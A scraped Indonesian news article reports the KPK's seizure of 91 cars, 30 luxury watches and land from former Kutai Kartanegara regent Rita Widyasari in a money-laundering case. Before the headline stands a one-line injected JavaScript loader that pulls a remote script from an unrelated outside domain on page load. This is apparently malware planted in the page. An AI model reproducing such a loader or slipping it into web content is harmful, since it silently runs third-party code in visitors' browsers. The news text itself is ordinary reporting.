(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Cuci Uang Mantan Bupati Kukar Rita Widyasari: 91 Mobil dan 30 Jam Tangan Mewah Disita KPK


KANALKALIMANTAN.COM, JAKARTA – Sebanyak 30 jam tangan mewah turut disita Komisi Pemberantasan Korupsi (KPK) dalam rangka penyidikan kasus dugaan Tindak Pidana Pencucian Uang (TPPU) yang melibatkan mantan Bupati Kutai Kartanegara (Kukar) Rita Widyasari. Jam tangan mewah itu terdiri dari beragam merek, sekelas Rolex, Richard Mille, Hublot.

KPK juga menyita lima bidang tanah dengan luas ribuan meter persegi di Kalimantan Timur.

“Tentu ini semua dilakukan penyitaan dalam rangka mengoptimalkan dugaan hasil kejahatan yang terus kami telusuri, kami kumpulkan. Nantinya tentu dalam proses persidangan jaksa KPK akan memohon kepada majelis hakim untuk melakukan perampasan dan diserahkan kepada negara,” kata Juru Bicara KPK Ali Fikri di gedung KPK, Jakarta, Kamis (6/6/2024) siang.

Selain jam tangan mewah dan tanah, KPK juga menyita 91 mobil mewah milik bupati Kukar periode 2010-2015 itu. Barang sitaan tersebut juga akan ditelusuri asal-usulnya sebagai bagian dari penyidikan perkara TPPU.

Baca juga: Sekda Banjar Buka Sosialisasi Pelaksanaan Survei Kepuasan Masyarakat (SKM) 2024

“Nanti tentu dalam proses persidangan jaksa KPK akan meminta atau memohon kepada majelis hakim untuk melakukan perampasan dan kemudian nanti diserahkan kepada negara, sejumlah aset yang saya kira ini jumlahnya cukup besar,” kata Ali.

“Jadi ini update secara global. Hingga hari ini, telah disita sekitar 536 dokumen, bukti elektronik,” tambahnya.

KPK telah merampungkan perkara gratifikasi yang melibatkan Rita Widyasari, dan saat ini tengah menyidik perkara TPPU sebagai bagian dari pengembangan perkara gratifikasi tersebut untuk mengoptimalkan pengembalian aset atau asset recovery kepada negara.

Untuk diketahui, mantan Bupati Kutai Kartanegara, Rita Widyasari, masih menjalani vonis 10 tahun penjara sejak 2017. Dalam kasus ini, anak kedua dari mantan Bupati Kutai Kartanegara Syaukani Hasan Rais itu dihukum membayar denda Rp600 juta subsider 6 bulan kurungan karena terbukti menerima gratifikasi sebesar Rp110,7 miliar terkait perizinan proyek dinas di Pemerintah Kabupaten Kutai Kartanegara, Kalimantan Timur. (Kanalkalimantan/Beritasatu.com)

Editor : kk


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.